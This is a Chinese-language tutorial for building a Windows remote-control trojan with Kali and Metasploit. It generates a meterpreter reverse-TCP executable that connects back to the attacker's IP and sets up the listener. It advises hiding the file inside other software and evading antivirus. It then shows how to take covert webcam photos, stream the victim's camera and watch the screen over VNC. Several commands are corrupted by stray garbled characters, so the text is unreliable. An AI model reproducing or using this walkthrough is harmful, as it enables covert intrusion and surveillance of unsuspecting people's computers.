1、打开kali系统终端，输入：ifconfig。查询自己电脑的ip，如图所示。
2、输入：msfconsole。等待msf打开，大概二十秒。出现“msf5”字样即开启。
3、开始制作Windows电脑被控端，生成一个exe文件。输入：msf箪滹埘麽venom -p windows/meterpreter/reverse_t艘早祓胂cp lhost=192.168.43.158 lport=5555 -f exe -o /root/mercy.exe 回车，生成一个名为“mercy.exe”的文件。解析：-p是指定payload模块，后面必须添加模块，这里是“windows/meterpreter/reverse_tcp” 。lhost是自己控制端的ip，自己做实验不要瓜兮兮把我的ip填上去。lport是端口号，只要不是其他协议专用端口号，0到65535随便你填。-f是生成文件的格式，电脑的话，dll那些也行。-o是生成文件的存放路径以及文件名，名字随便取，文件格式不要错。
4、将文件发到你想要控制的windows系统电脑上。这个就体现个人水平，可以捆绑到其他软件那里，再用dos命令隐藏起来，过狗。不需要安装，也不需要知道文件在哪里，只要有这个文件在就可以了。这里直接复制过去。
5、做完以上操作，开始制作控制端。在Metasploit输入下面四条命令，每次完成后按回车。1.use expl泠贾高框oit/multi/handler2.set payload windows/meterpreter/reverse_tcp3.set lhost 你的ip4.set lport 5555
6、输入无误后，最后输入：run。只要对方点击一次即可完成连接，而且meterpreter不占用进程，任务管理器无法查询到。如图即成功。
7、接下来就能控制对方电脑了，比如说拍照。输入：webcam_snap -i 1 即可。-i是指定摄像头，可以用“webcam_list”查询摄像头。
8、输入：webcam_stream打开视频流。
9、当然可以输入：run vnc 监看对方的电脑屏幕。可以做的事情还有很多，主要是看自己的命令储蓄量了。恶作剧即可，切勿做违法的事。这个东西没有绝对的安全，想查还是能查到。
